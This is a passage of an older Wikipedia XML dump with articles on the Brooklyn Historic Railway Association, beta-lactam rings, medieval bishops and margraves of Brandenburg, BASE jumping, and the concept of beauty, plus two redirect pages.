      <timestamp>2005-11-30T16:10:04Z</timestamp>
      <contributor>
        <username>N2xjk</username>
        <id>345132</id>
      </contributor>
      <minor />
      <comment>mention disposition of PCC cars</comment>
      <text xml:space="preserve">The '''Brooklyn Historic Railway Association''''s (BHRA) shop, [[trolley barn]] and offices are located in [[Red Hook, Brooklyn|Red Hook]], [[Brooklyn, New York]], on the historic Beard Street Piers (circa [[1870]]). BHRA had a fleet of 16 [[trolley]]s (15 [[PCC streetcar|PCC trolley]]s and a leased [[1897]] trolley car from [[Oslo, Norway]]). Restoration of Brooklyn's trolley routes was hampered due to the [[NYC Department of Transportation]] (DOT) withdrawing its support from the project. Construction was stopped on a 7-block extension to the line due to the removal and scrapping of rails, ties, and other items of railroad equipment by the DOT, which were stored on land that was slated for the &quot;Fairway&quot; supermarket project.

The BHRA's origin began with the rediscovery of the [[Atlantic Avenue Tunnel]] by [[Bob Diamond]] in [[1980]]. BHRA was formed in [[1982]] to restore the historic tunnel. The Atlantic Avenue Tunnel (constructed in [[1844]]) is the world's oldest [[metro|subway]] tunnel. BHRA successfully filed and received designation for the tunnel on the [[National Register of Historic Places]]. 

As of [[June 30]], [[2003]], BHRA was ordered to remove and fill in all trolley tracks on public streets by the DOT.  The DOT revoked consent for the project to proceed or exist on city streets.  Shortly thereafter, BHRA completely ceased operation.  Most of the PCC trolleys were removed from Brooklyn.  Only the trolleys that are on the Beard Street Pier itself remain. The disposition of the last few trolleys is pending. The BHRA organized tours of the Atlantic Avenue Tunnel have also ended. A new, separate organization, Brooklyn City Streetcar Company, has been formed to attempt to return trolleys to other parts of Brooklyn.

==External links==

*[http://www.lostnewyorkcity.com/buildingphotos/Plate-51-b.html The Cable Building] (New York City) Broadway Cable car line.
*http://www.sptc.spb.ru/bhra.htm
*http://donross.railspot.com/dr205.htm
*http://www.forgotten-ny.com/TROLLEYS/redhook/redhook.html
*http://brooklynstreetcar.org Brooklyn City Streetcar Company

[[Category:Brooklyn]]</text>
    </revision>
  </page>
  <page>
    <title>Brownian movement</title>
    <id>4426</id>
    <revision>
      <id>15902693</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Brownian motion]]
</text>
    </revision>
  </page>
  <page>
    <title>Beta-lactam</title>
    <id>4427</id>
    <revision>
      <id>35073832</id>
      <timestamp>2006-01-13T22:41:44Z</timestamp>
      <contributor>
        <username>Admrboltz</username>
        <id>168201</id>
      </contributor>
      <comment>-dead poic</comment>
      <text xml:space="preserve">A '''beta-lactam''' ([[β]]-lactam) or '''penam''' is a [[lactam]] with a [[heteroatomic]] [[ring structure]], consisting of three [[carbon]] atoms and one [[nitrogen]] [[atom]] (Fig. 1). The beta-lactam ring is part of several [[antibiotic]]s, such as [[penicillin]], which are therefore also called ''[[beta-lactam antibiotic]]s''. These antibiotics work by inhibiting the bacterial [[cell wall]] synthesis. This has a lethal effect on [[bacterium|bacteria]], especially on [[Gram-positive]] ones. Bacteria can become [[antibiotic resistance|resistant]] against beta-lactam antibiotics by expressing [[beta-lactamase]].

== See also: ==
* [[Beta-lactam antibiotic]]
* [[Beta-lactamase]]

[[Category:Beta-lactam antibiotics]]
[[category:functional groups]]
[[fr:Bêta-lactame]]</text>
    </revision>
  </page>
  <page>
    <title>Bacillus Thuringiensis</title>
    <id>4428</id>
    <revision>
      <id>15902695</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Bacillus_thuringiensis]]
</text>
    </revision>
  </page>
  <page>
    <title>Bishop of Brandenburg</title>
    <id>4429</id>
    <revision>
      <id>22884655</id>
      <timestamp>2005-09-09T02:56:11Z</timestamp>
      <contributor>
        <username>Gentgeen</username>
        <id>25065</id>
      </contributor>
      <comment>recat</comment>
      <text xml:space="preserve">'''Bishops of [[Brandenburg]]''' until 1200 (from genealogy H. Stoyan)

 Dietmar  (949-968)
 Dodilo   (968-980)
 Volkmar  (980-1004)
 Wigo     (992-1018)
 Luizo   (1022-1032)
 Rudolf ( -1048)
 Dankwart ( -1051)
 Dietrich I (1068-1080)
 Volkmar II (1080-1092)
 Hartbert (1100-1122)
 Ludolf   (1124-1137)
 Landbert (1137-1138)
 Wiggar   (1138-1160)
 Wilman   (1160-1173)
 Sigfried I (1173-1179)
 Baldran (1179-1190)
 Alexius (1190-1192)
 Norbert (1192-1207)

----

Bishops of Havelberg Brandenburg

 Udo        946 - 983
 Hildrich   991 -1008
 Erich     1008 -1024
 Godschalk 1028 -1085
 Wigmann        -1089
 Hezilo    1096 -1110
 Bernhard  111? -1118
 Heimo     1118 -1120
 Gumbert   1120 -1125
 Anshelm   1129 -1155
 Walo      1155 -1176
 Hubert    1177 -1191
 Helmbert  1191 -1206

----------------------------------

  Margraves Lausitz

----------------------------------------


Margraves of Brandenburg

 Siegfried      936 - 937
 Christian      937 - 945
 Gero           937 - 965
 Dietrich       965 - 985
 Lothar         985 -1003
 Werner        1003 -1009
 Bernard I     1018 -1044
 Wilhelm       1044 -1056
 Lothar Udo I  1056 -1057
 Udo II        1057 -1082
 Heinrich      1082 -1106
 Lothar UdoIII 1087 -1106
 Rudolph       1106 -1114
 Henrich II    1114 -1128
 Udo IV        1128 -1130
 Conrad Plotzkau1130-1133

 next : [[Ascanians]]
[[Albert the Bear]] 1134-1170
     &quot;   Saxony   1138-1142
---------------------------

[[Category:Roman Catholic bishops by diocese|Brandenburg]]

[[de:Liste der Bischöfe von Brandenburg]]</text>
    </revision>
  </page>
  <page>
    <title>BASE jumping</title>
    <id>4430</id>
    <revision>
      <id>40794828</id>
      <timestamp>2006-02-23T01:42:04Z</timestamp>
      <contributor>
        <username>KocjoBot</username>
        <id>467651</id>
      </contributor>
      <minor />
      <comment>robot  Adding: sl</comment>
      <text xml:space="preserve">'''BASE jumping''' is the sport of using a [[parachute]] to jump from fixed objects.  &quot;BASE&quot; is an [[acronym]] that stands for the four categories of objects from which one can jump; '''(B)'''uilding, '''(A)'''ntenna (an uninhabited tower such as an aerial mast), '''(S)'''pan (a bridge, arch or dome), and '''(E)'''arth (a cliff or other natural formation).  BASE jumping is much more dangerous than [[skydiving]] from aircraft and is currently regarded as a fringe [[extreme sport]].

==History==
[[Image:statofliberty.jpg|thumb|right|150px|[[The Statue of Liberty]] ]]
There are isolated examples of BASE jumps dating from the early 1900s. [[Frederick Law]] jumped from the [[Statue of Liberty]] in 1912;  [[Štefan Banič]] jumped from a 41-floor building in Washington D.C. in order to demonstrate his new [[parachute]] to the U. S. Patent Office and U.S. military; [[Michael Pelkey]] and [[Brian Schubert]] jumped the cliff &quot;[[El Capitan]]&quot; in [[Yosemite Valley]] in 1966; and in 1976, [[Rick Sylvester]] jumped [[Canada]]'s [[Mount Asgard]] for the opening sequence of the [[James Bond]] movie &quot;[[The Spy Who Loved Me]]&quot;, giving the wider world its first look at BASE jumping. However, these and other sporadic incidents were one-off experiments, not the systematic pursuit of a new form of parachuting. The acronym &quot;BASE&quot; was coined by film-maker [[Carl Boenish]], who in 1978 filmed the first jumps from El Capitan to be made using ram-air parachutes and [[Freeflying/Tracking|freefall tracking]] technique, which effectively defines modern BASE jumping. These jumps were repeated, not as a publicity exercise or as a movie stunt, but as a true recreational activity. It was this which popularised BASE jumping more widely among parachutists. Boenish continued to publish films and informational magazines on BASE jumping until his 1984 death on a cliff jump in [[Norway]]. By this time, the concept had spread among skydivers worldwide, with hundreds of participants making fixed-object jumps.

==Comparison with skydiving==
BASE jumping grew out of [[skydiving]] (recreational parachuting from aircraft). There are three main technical differences between the two. Firstly, BASE jumps are generally made from much lower altitudes than skydives. Secondly, a BASE jump takes place in close proximity to the cliff or tower which provided the jump platform. Thirdly, the BASE jumper generally has a lower airspeed than a skydiver throughout the jump, because a BASE jump starts with zero airspeed, and (due to the limited altitude) a BASE jumper very seldom approaches the [[terminal velocity]] (airspeed) of a skydiver. All three factors have significant implications.

Firstly, the BASE parachute system has to be made to open very quickly at low airspeeds. Skydiving parachutes are reefed to slow down the opening and reduce opening shock forces. Secondly, the cliff or tower presents a risk to the BASE jumper if, for example, the parachute opens facing backwards. An off-heading opening is not considered a problem in skydiving, but has caused fatal impact injuries in BASE jumping.  Off heading opening resulting in object strike is the leading cause of serious injury and death in BASE jumping.

An experienced skydiver is recommended to deploy their parachute no lower than 2,000 feet (610 m). At that time, if they have already been in [[free-fall]] for at least 1,000 feet (305 m), the jumper is traveling 120 miles per hour (54 m/s), and is 11 seconds from the ground.  Most BASE jumps are made from less than 1,000 feet (305 m).  For example, a BASE jump from a 500 foot (152 m) object is about 6 seconds from the ground if the jumper remains in freefall. On such a jump, the parachute must open at about half the airspeed of the skydiver, and more quickly (ie. in a shorter distance fallen). Standard skydiving parachute systems are not designed for this situation.  Many BASE jumpers use specially designed harnesses and parachute containers, with extra large pilot chutes, and jump with only one parachute - since, with a total freefall time of 6 seconds, there would be no time to use a reserve parachute. In these systems, the actual parachute canopy should also be specifically manufactured for BASE jumping, however skydiving parachutes with some modifications (primarily the addition of a tail pocket for stowing suspension lines) are occasionally used by those unable to purchase appropriate equipment.  The rest of the system is almost always specifically designed for BASE use. Standard skydiving equipment can only be used on relatively high BASE jumps. If modified, by removing the bag and slider, stowing the lines in a tail pocket, and fitting a large pilot chute, standard skydiving gear can be used for lower BASE jumps, but is then prone to kinds of malfunction which are rare in normal skydiving (such as &quot;line-overs&quot; and broken lines).

The vast majority of people who try BASE jumping are those that have already learned to skydive.  It is important to know how to safely fly and land a parachute, and this is best learned on airplane skydives, from higher deployment altitudes, over large fields that provide room for error in learning how to land.  Most BASE jumping venues have very small areas in which to land.  A beginner skydiver, after parachute deployment, may have 3 minutes or more of a parachute ride to the ground.  A BASE jump from 500 feet (152 m) will have a parachute ride of about 10 to 15 seconds.

One way to make a parachute open very quickly is to use a static line or direct bag. These devices form an attachment between the parachute and the jump platform, which stretches out the parachute and suspension lines as the jumper falls, before separating and allowing the parachute to inflate. This method enables the very lowest jumps (below 200ft) to be made, although most BASE jumpers are more motivated to make higher jumps involving free fall.

In parachuting, height is safety, and by making lower altitude jumps, BASE jumpers give up the safety margins built into skydiving (such as the option of using a reserve parachute if there are problems deploying the main chute). The lower airspeed of a BASE jump is also a risk factor. Skydivers use the air flow to stabilise their position, allowing the parachute to deploy cleanly. BASE jumpers, falling at lower speeds, have less aerodynamic control, and may tumble. Usually BASE jumpers jump to cause a tumble by back flipping and then using the gyroscopic effects to at least have some form of control. The attitude of the body at the moment of jumping determines the stability of flight in the first few seconds, before sufficient airspeed has built up to enable aerodynamic stability. On low BASE jumps, parachute deployment takes place during this early phase of flight, so if a poor &quot;exit&quot; leads into a tumble, the jumper may not be able to correct this before the opening. If the parachute is deployed while the jumper is tumbling, there is a high risk of entanglement or malfunction. Beginner BASE jumpers often make the error of rotating forwards by jumping with a swimming-pool type of diving motion, leading to an involuntary forward loop. Better technique is to exit without any rotational motion.

On higher BASE jumps, those which allow a free fall of five seconds or more, it may be necessary to use freefall tracking technique to move away from the jump object (especially on cliff jumps). Jump platforms providing an overhang, such as arch bridges or naturally overhung cliffs, are more forgiving in this respect and so are more suitable for beginner BASE jumpers.

==Legal issues==
In the United States, skydiving from an airplane involves regulations set by the [[Federal Aviation Administration|FAA]], notably the requirement of an airplane jumper to carry two parachutes.  Since BASE jumping does not involve an airplane, the FAA has no jurisdiction.

[[Image:NewRiverBridge West virginia.jpg|right|thumb|200px|New River Gorge Bridge]]
The legal issues that a BASE jumper must consider concern permissions to use the object that is being jumped, and the area used for landing.  The general reluctance of the owners of jumpable objects to allow their object to be used as a platform leads many BASE jumpers to covertly attempt jumps.  This is legal in jurisdictions in which it is permissible to use land until specifically told not to. However, at [[Perrine Bridge]] in [[Twin Falls]], [[Idaho]], and, once a year, on the third Saturday in October ('Bridge Day') at the [[New River Gorge Bridge]] in Fayetteville, [[West Virginia]], permission to BASE jump has explicitly been granted.  The New River Gorge Bridge deck is 876 feet (267 m) above the river.  A rock dropped from the deck will hit the water in 8.8 seconds.  This annual event attracts about 450 BASE jumpers, and nearly 200,000 spectators.  If the conditions are good, in the 6 hours that it is legal, there may be over 800 jumps at Bridge Day.  For many skydivers who would like to try BASE jumping, this will be the only fixed object from which they ever jump.

[[Image:El_Capitan,_Yosemite_NP.jpg|thumb|left|200px|[[El Capitan]] and the [[Merced River]] ]]
Covert BASE jumps are often made from tall buildings and antenna towers. BASE jumping itself is not illegal, but jumpers who are caught in the act may face charges of trespass or reckless endangerment.  However the National Park Service has the authority to ban specific activities in US National Parks, and has done so for BASE jumping as a result of jumping activity in Yosemite. In the early days of BASE jumping, the Service ran a permit scheme under which jumpers could get authorisation to jump El Capitan. This scheme ran for 3 months in 1980 and then collapsed amid allegations of abuse by unauthorised jumpers. Since then, the Service has vigorously enforced a ban, charging jumpers with &quot;aerial delivery into a National Park&quot;. One jumper was drowned in the Merced river while being chased by Park Rangers intent on arresting him. Despite this, illegal jumps continue in Yosemite at a rate estimated at a few hundred per year, often at night or dawn. [[El Capitan]], [[Half Dome]] and [[Glacier Point]] are all used as jump sites.

The legal position is better at other sites and in other countries. For example, in Norway's [[Lysefjord]], BASE jumpers are made welcome. Many sites in the European Alps, near Chamonix and on the Eiger, are also open to jumpers.

==BASE Ethics==
{{cleanup-tone}}
BASE jumping has its own peculiar set of ethical guidelines.  These  ethics have evolved (and continue to do so) over time.  The underlying motivation for BASE ethics is a shared desire to jump, and to do so while avoiding arrest or injury.  The bottom line aim of BASE ethics is to allow jumpers to continue making as many jumps as possible in the long run.  It follows then, that actions which make it harder for others to jump are generally viewed as unethical, to some (varying) degree.

The nuances of BASE ethics vary from place to place, and especially vary depending on the legal status of a site.  Sometimes there are established guidelines for a site (true at an increasing number of popular legal sites).  The guidelines have been established for good reasons, and often in conjunction with local authorities.  Jumpers breaking these rules (through ignorance or otherwise) undermine the legalization efforts of the entire BASE community.

The guiding principle of BASE ethics is respect.  BASE jumpers should respect the sport, the sites, and other people (both jumpers and non-jumpers).

Failing to respect the serious nature of BASE will quickly alienate many experienced jumpers, who have learned to respect BASE through hard personal experiences.  Lack of respect for the sport can be shown in many ways.  Dismissing the inherent dangers of the sport is one.  Putting unprepared people off for a &quot;BASE thrill ride&quot; is another.  Instructing students who lack appropriate preparation is a third.  The bottom line is that BASE can be a fun game--but it can also turn deadly serious in a heartbeat.  Remembering this is one of the keys to a long, healthy life, and also to a long, healthy jumping career.

Failing to respect sites, and the guidelines for jumping them (formal or otherwise) will almost certainly anger jumpers who established, and continue to jump, those sites.  Site guidelines and procedures vary from simple (&quot;don’t land by the farmhouse&quot;), to Byzantine (&quot;drive up the left side of the dirt road, park behind the loading dock, and keep your lights on until you reach the third door&quot;), to downright bizarre.
Respecting other people is a basic guideline of human interaction we all learned in kindergarten.  This nicety of human interaction is even more important in BASE.  Jumpers depend on each other for instruction, assistance and mutual aid.  While this is most obvious in simple things, like carpooling to a jump site, it also applies to opening and maintaining site access, avoiding arrest, and providing medical assistance to injured jumpers.  In the most extreme, jumpers rely on each other for emotional support when tragedy occurs.  While they sometimes like to think of themselves as rugged individualists, in the end, BASE is a team sport.

Jumpers should also respect the non-jumping people who live or work around BASE sites.  Many jumpers travel to jump, and it is important to understand and respect the culture (and wishes) of the local people.  There are some popular cliffs in Europe, for example, where jumpers are asked to land in specific areas so as not to disrupt local agriculture.  The popular legal span in the western US is located in a small, conservative, rural community, which has little tolerance for public nudity or profanity.  Understanding and respecting the culture of local residents helps protect site access, as well as conveying a positive image of BASE jumpers to the general public.

==BASE jumping today==
It is not known how many people have tried at least one BASE jump; however, when a jumper completes a jump from '''each of the four categories''' of objects, they may choose to apply for a &quot;BASE number&quot;.  These are awarded sequentially.  In [[1981]], Phil Smith of [[Houston]], [[Texas]], was awarded BASE-1. In March 2005 the 1000th application for a BASE number had been filed.

[[Image:IMG_0133(Eiffel_in_Evening).jpg|150px|left|thumb|Eiffel Tower]]
BASE jumping is often featured in action movies, like the [[2002]] [[Vin Diesel]] film [[XXX (movie)|xXx]] where Diesel's character catapults himself off a bridge in an open-topped car, landing safely as the car crashes on the ground. After the 1976 Mt Asgard jump, the James Bond movies continued to feature BASE jumps, including one from the [[Eiffel Tower]] in 1985's ''[[A View to a Kill]]'', the [[Rock of Gibraltar]] in 1987's ''[[The Living Daylights]]'', and in ''[[Die Another Day]]'', 2002, [[Pierce Brosnan]] as [[James Bond]] jumps from a melting iceberg. Of the James Bond jumps, though, only the Mt Asgard and Eiffel Tower jumps were filmed in reality; the rest were special effects. 

The 1990s surge of interest in extreme sports saw many developments in BASE jumping and increasing acceptance of it generally, though it is still widely seen as a daredevil stunt rather than a sport. Even though it is a highly skilled activity, the lack of an objective way to measure skill as the basis for records and competitions, hinders acceptance as a true sport; and it remains as dangerous as it looks, prompting some, with typically black humor, to say that BASE stands for &quot;Bones And S**t Everywhere&quot;. Through the availability of specialised equipment and wider knowledge of techniques, it is safer today than in the early days, though the occasional fatalities and injuries occur. Some deaths through ground impact in freefall or object strike do occur, but most incidents are due to hazardous landing sites or other problems which develop after the parachute has opened. Because of the covert nature of much of BASE jumping, no reliable figures are available to assess the statistical risks of the activity.

[[Image:Trango_Towers_Pakistan.jpg|150px|right|thumb|Trango Towers]]
The Guinness Book of Records first listed a BASE jumping record with Carl Boenish's 1984 leap from Trollveggen ([[Troll Wall]]) in Norway.  It was described as the highest BASE jump. (The jump was made two days before Boenish's death at the same site.) This record category is still in the Guinness book and is currently held by Nic Feteris and Glenn Singleman with a jump from the 19,000ft [[Great Trango Tower|Trango]] cliff in Pakistan, which seems unlikely to be beaten. However, the sheer variety of the nature of the challenge at different jump sites means that direct comparisons of different jumps are often meaningless. As a result, some of the claimed records in the field may seem spurious. There is another Guinness entry for &quot;oldest BASE jumper&quot; which is clearly nothing to do with sporting skill. Even more contentious are claims sometimes made (although not recognised by Guinness) for the lowest jump. Given that a static-lined parachute can be made to open in little more than the length of its suspension lines, jumps can actually be performed at practically any altitude right down to the point at which a parachute is not necessary for survival.

BASE competitions have been held since the early 1980s, with accurate landings or freefall aerobatics used as the judging criteria. Recent years have seen a formal competition held at the 1300ft Petronas Towers building in Malaysia, judged on landing accuracy. But BASE jumping is a long way from being an Olympic sport. Nevertheless, an increasing number of BASE devotees take their sport seriously as a skilled athletic pursuit.  It is moving steadily towards the crossover point at which it will be taken seriously by everyone, as a minority, but genuine, sport.

For now, BASE jumpers are mostly focused on the challenges of public acceptance and understanding of a sport so obviously extreme and so highly dangerous; and on the development of equipment and techniques. Searching for new, and preferably legal, jump sites has also been a fruitful activity for many devotees.

==Site Naming==
Inquiries about sites serve as the primary gatekeeper of the BASE community.  If a prospective jumper has to locate experienced jumpers to learn about sites, there is a far greater chance that they will receive instruction (of any kind) and use appropriate gear. If a site is publicized, pretty much anyone can run out and throw himself off of it.  He can jump with no training, with improper equipment and with no supervision.  This is a recipe for disaster, and has resulted in multiple accidents, including more than one fatality.

Any discussion of a site can easily be held by referring to the site descriptively, rather than by name or location.  It is easy to discuss &quot;the Bridge Day site&quot; or &quot;the popular terminal wall in Northern Italy&quot; for example, and using such labels detracts nothing from a technical discussion.

Accidents occur at legal sites, as well as illegal ones, and this reasoning applies equally to either.  In fact, the majority of BASE fatalities have occurred at legal sites.  The ease of access to these sites, as well as the frequency of accidents, argues, if anything, for greater site secrecy at legal sites.

Some BASE jumpers feel that preventing accidents is important because it keeps sites open for jumping (whether legal or illegal). This concern is a distant second to preventing injury.

==External links==
* [http://www.dropzone.com/cgi-bin/forum/gforum.cgi?forum=22; The BASE Zone at Dropzone.com]
* [http://www.blincmagazine.com/forum/ BASE-Jumping Forums]
* [http://www.basicresearch.com/base_history.htm History of BASE jumping]
* [http://www.basejumper.org/ Basejumper.org]
* http://www.baseclimb.com/BASE_history.htm
* [http://www.ideasfactory.com/business/marketing/know_it/feature6.html An extreme BASE jump]
* [http://www.basefatalities.info/ BASE Fatalities.info]
* [http://www.dropzone.com/cgi-bin/safety/detail_page.cgi?ID=64 Getting Into BASE, by Tom Aiello]
* [http://www.ctv.ca/servlet/ArticleNews/story/CTVNews/1112393614225_107802814/?hub=Canada Base Jumper hits buildings on way down in Calgary, Alberta]
* [http://www.basewiki.com BASE-WIKI]
* [http://www.skydivingmovies.com/ver2/pafiledb.php?action=category&amp;id=8 BASE Videos at SkydivingMovies.com]
* [http://www.alexisparkinn.com/photogallery/Videos/2005_basejumper.wmv BASE jumping video]
* [http://www.madwings.com  MadWings.com -- All in one place about Extreme sports.]

[[Category:Extreme sports]]
[[Category:Parachuting]]

[[de:Base Jumping]]
[[fr:Base jump]]
[[nl:BASE-jumpen]]
[[no:BASE-hopping]]
[[pl:BASE jumping]]
[[sl:BASE jumping]]</text>
    </revision>
  </page>
  <page>
    <title>Beauty</title>
    <id>4431</id>
    <revision>
      <id>41973355</id>
      <timestamp>2006-03-02T23:49:46Z</timestamp>
      <contributor>
        <ip>209.198.137.136</ip>
      </contributor>
      <text xml:space="preserve">&lt;!--             NOTICE:
 Please don't vandalize this page by putting your 
 sweetheart's name into it. Some points that may change 
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 people doing exactly this.
 2. It's extremely easy to the point of being 
 superficial and trite - perhaps not the best way to honor
 the object of your truest affections.
 3. Staining the good work of others is probably a bad way
 to go about making a compliment.
--&gt;::''For other uses, see [[Beauty (disambiguation)]].
[[Image:Nymph with morning glory flowers.jpg|200px|thumb|right|''A [[nymph]] with [[morning glory]] flowers'' by [[Jules Joseph Lefebvre|Lefebvre]]. The image of the young woman is a classical symbol of human beauty, and a dominant theme in [[art]].]]
'''Beauty''' is an innate and [[emotional]] [[perception]] of [[life]]'s affirmative aspects &amp;mdash; [[vitality]], [[health]], [[fertility]], [[happiness]], and [[Goodness and value theory|goodness]] &amp;mdash; within objects in the ''perceived world''. In its most profound sense, the beauty engenders a sense of positive reflection on the [[meaning]] of one's own [[being]] within [[nature]].

Beauty involves the [[cognition]] of objects as having a balance and [[harmony]] with nature, which elicits in the viewer a sense and experience of [[attraction]], affection, and [[pleasure]]. 
An &quot;object of beauty&quot; is anything in the perceived world which reveals a personally meaningful aspect of &quot;natural beauty&quot;. The presence of the [[Self (philosophy)|self]] in any human context means that beauty is naturally based on its ''human'' meaning, wherein ''human beauty'' is often the dominant aspect of a greater ''natural beauty.'' The opposite of beauty is ''ugliness'' &amp;mdash;ie. the perceived ''lack'' of beauty, which stimulates ''displeasure'' and engenders a deeper ''negative'' perception of the object. 

[[religion|Religious]] and moral teachings often focus on the ''[[virtue]]'' and ''[[divinity]]'' of beauty, to assert natural beauty as an aspect of a ''[[spirituality|spiritual beauty]]'' (ergo ''[[truth]]'') and define all self-centered or materialistic pretentions as based in [[ignorance]]. The ancient story of [[Narcissus (mythology)|Narcissus]] for example deals with the distinction between beauty and [[vanity]]. In the modern context, the usage of beauty as means to promote an [[ideology]] or [[dogma]] has been a focus of societal debates which center around issues of [[prejudice]], [[ethics]], and [[human rights]]. The usage of beauty for purposes of [[commercialism]] is a controversial aspect of the &quot;[[culture wars]],&quot; wherin [[feminism]] typically claims such usage promotes a dogmatic (ie. &quot;[[The Beauty Myth]]&quot;) rather than a virtuous understanding of beauty. 

:''&quot;Beauty is the [[wisdom]] of women. Wisdom is the beauty of men.&quot; - Ancient [[wikiquote:Chinese proverbs|Chinese proverb]]
&lt;!-- other beauty quotes - tie common idioms and wisdom to philosphy - &quot;beauty is only skin deep&quot;, 'beauty is the reflection of our own' etc.--&gt;

==Beauty and aesthetics== 
Understanding the nature and meaning of beauty is one of the key themes in the philosophical discipline known as [[aesthetics]].
The composer and critic [[Robert Schumann]] distinguished between two kinds of beauty, ''natural'' beauty and ''poetic'' beauty: the former being found in the contemplation of nature, the latter in man's conscious, creative intervention into nature. Schumann indicated that in music, or other art, both kinds of beauty appear, but the former is only sensual delight, while the latter begins where the former leaves off.

A common theory says that beauty is the [[appearance]] of things and people that are [[Goodness_and_value_theory|good]]. This has many supporting examples.  Most people judge [[physical attractiveness|physically attractive]] human beings to be good, both physically and on deeper levels. The phrase &quot;beauty is in the eye of the beholder,&quot; however, suggests that beauty is wholly subjective.  

[[Image:Red rose.jpg|thumb|150px|right|Many see natural beauty in the folded petals of a [[rose]].]]
&quot;Beauty as goodness&quot; has many significant counterexamples with no agreed solution. These include such things as a [[glacier]], or a ruggedly dry [[desert]] [[mountain]] range. Most people find beauty in [[nature]], despite it sometimes being &quot;red in tooth and [[claw]]&quot; ([[Alfred Tennyson, 1st Baron Tennyson|Tennyson]]). Another type of counterexample are comic or sarcastic works of art, which can be good, but are rarely beautiful.

It is well known that people's skills develop and change their sense of beauty. [[Carpenter]]s may view an out-of-true [[building]] as ugly, and many [[master tradesman|master]] carpenters can ''see'' out-of-true [[angle]]s as small as half a [[degree (angle)|degree]]. Many musicians can likewise hear as dissonant a tone that's high or low by as little as two percent of the distance to the next note. Most people have similar aesthetics about the work or hobbies they've mastered.

Many admirers consider the [[Venus de Milo]] to be the perfect beauty.

==Theories of beauty==

The earliest theory of beauty can be found in the works of early [[Hellenic civilization|Greek]] [[philosophers]] from the [[Pre-Socratic philosophy|pre-Socratic]] period, such as [[Pythagoras]]. The extant writings attributed to Pythagoras reveal that the Pythagorean school, if not Pythagoras himself, saw a strong connection between mathematics and beauty. In particular, they noted that objects proportioned according to the [[golden ratio]] seemed more attractive. Some modern research seems to confirm this, in that people whose facial features are symmetric and proportioned according the golden ratio are consistently ranked as more attractive than those whose faces are not.

According to an ancient Indian definition, the beautiful is that which from moment to moment is always new. That is to say, it removes the mind from the world in which things grow old. But considering that the [[visual cortex | visual system]] allows us to see by extracting the stable, rather than changing, features of the environment on a momentary basis, this ancient definition seems hard to support.

Different cultures have deified beauty, typically in female forms. Here is a list of the goddesses of beauty in four different mythologies.
* [[Aphrodite]] - [[Greek mythology]]
* [[Freya]] - [[Norse Mythology]]
* [[Lakshmi]] - [[Hindu mythology]]
* [[Venus (mythology)|Venus]] - [[Roman mythology]]

[[Image:Lolita.png|right|thumb|''Lolita'']]
[[Beauty contest]]s claim to be able to judge beauty.
The ''millihelen'' is sometimes jokingly defined as the scientific unit of human beauty.  This derives from the legend of [[Helen of Troy]] as presented in [[Christopher Marlowe]]'s ''[[The Tragical History of Doctor Faustus]]'', in which her beauty was said to have launched a thousand ships.  The ''millihelen'' is therefore the degree of beauty that can launch one ship.

The foundations laid by Greek and Roman artists set the standard for male beauty in Western Civilization. The ideal Roman is the more masculine form of pure male beauty. He is ideally defined (very similar to today's pure definition of a Classic male beauty or masculinity today would be defined as: larger (ie. taller over 6',) far more muscular, long legged, with a full head of thick hair, a high and wide forehead - sign of intelligence, wide set eyes, a strong browline, a strong perfect nose and profile relationship, a smaller mouth, and a strong jaw line. These factors in combination would, as it does today, result in an impressive &quot;grand&quot; look of pure handsome mascultinity. 

It is ironic that in early Hollywood that ideal was strived for or created whereas many actors today who do not fit that [[Classical]] standard such as Brad Pitt, Matt Damon, and many others are frequently pushed to the public by the Hollywood press machine, as &quot;beautiful' or 'good-looking.'

===Mathematical beauty===
{{Main|Mathematical beauty}}
Even mathematical formulae can be considered beautiful. &lt;math&gt;e^{i \pi} +1 = 0&lt;/math&gt; is commonly considered one of the most beautiful theorems in mathematics (see ''[[Euler's identity]]'').  
The poet [[Edna St. Vincent Millay]] wrote that &quot;[[Euclid]] alone has looked on beauty bare&quot; in an allusion to the austere beauty many people have found in the reasoning in the [[Geometry|geometer]] Euclid's ''[[Euclid's Elements|Elements]]''.

Another connection between mathematics and beauty which played a prominent role in Pythagoras' philosophy was the way in which musical tones can be arranged in mathematical sequences, which repeat at regular intervals called [[octave]]s.

The so-called &quot;Golden Mean&quot;, represented by the greek letter Phi(Φ) and approximately equal to 1.618, has also been considered by many to be beautiful.  It is also called the divine ratio and it is frequently found in nature.  For example, in a nautilus shell, the ratio between each section is about 1.618. In Ancient Greece and Rome beauty was measured and based on similar principles.

==Effects of beauty in human society==
A survey conducted by London Guildhall University of 11,000 people showed that (subjectively) good-looking people earn more. Less attractive people earned, on average, 13% less than more attractive people, while the penalty for overweight was around 5%.

The term &quot;beautiful people&quot; is used to refer to those who closely follow trends in [[fashion]], physical appearance, [[food]], dining, [[wine]], [[automobiles]], and [[real estate]], often at a considerable financial cost. Such people often mirror in appearance and consumer choices the characteristics and purchases of wealthy [[actors]] and [[actresses]], [[model (person)|models]], or other [[celebrities]].  The term &quot;beautiful people&quot; originally referred to the [[musicians]], actors and celebrities of the [[California|Californian]] &quot;[[hippy|Flower Power]]&quot; generation of the [[1960s]]. [[The Beatles]] reference the original &quot;beautiful people&quot; in their [[1967]] song &quot;Baby You're a Rich Man&quot; on the [[Magical Mystery Tour]] album. With the close of the 1960s, the concept of beautiful people gradually came to encompass [[fashionista|fashionistas]] and the &quot;[[hip (slang)|hip]]&quot; people of [[New York City]], expanding to its modern definition.  Beautiful people usually enjoy an image-based and/or financially-based prestige which enhances their aura of success, power, and beauty.

==See also==
{{wikiquotepar|Beauty}}
*[[Aesthetics]]
*[[Body Dysmorphic disorder]]
*[[Cuteness]]
*[[Human physical appearance]]
*[[Mathematical beauty]]
*[[Physical attractiveness]]
*[[Plastic surgery]]
*[[Sexual attraction]]
*[[Wabi-sabi]]

==External links==
*[http://www.fitgroove.com/beauty.asp FitGroove: Health and Beauty] Beauty articles and information.
*[http://www.faceresearch.org/ FaceResearch] &amp;ndash; Scientific research and online studies on facial beauty
*[http://etext.lib.virginia.edu/cgi-local/DHI/dhi.cgi?id=dv1-28 ''Dictionary of the History of Ideas'':] Theories of Beauty to the Mid-Nineteenth Century
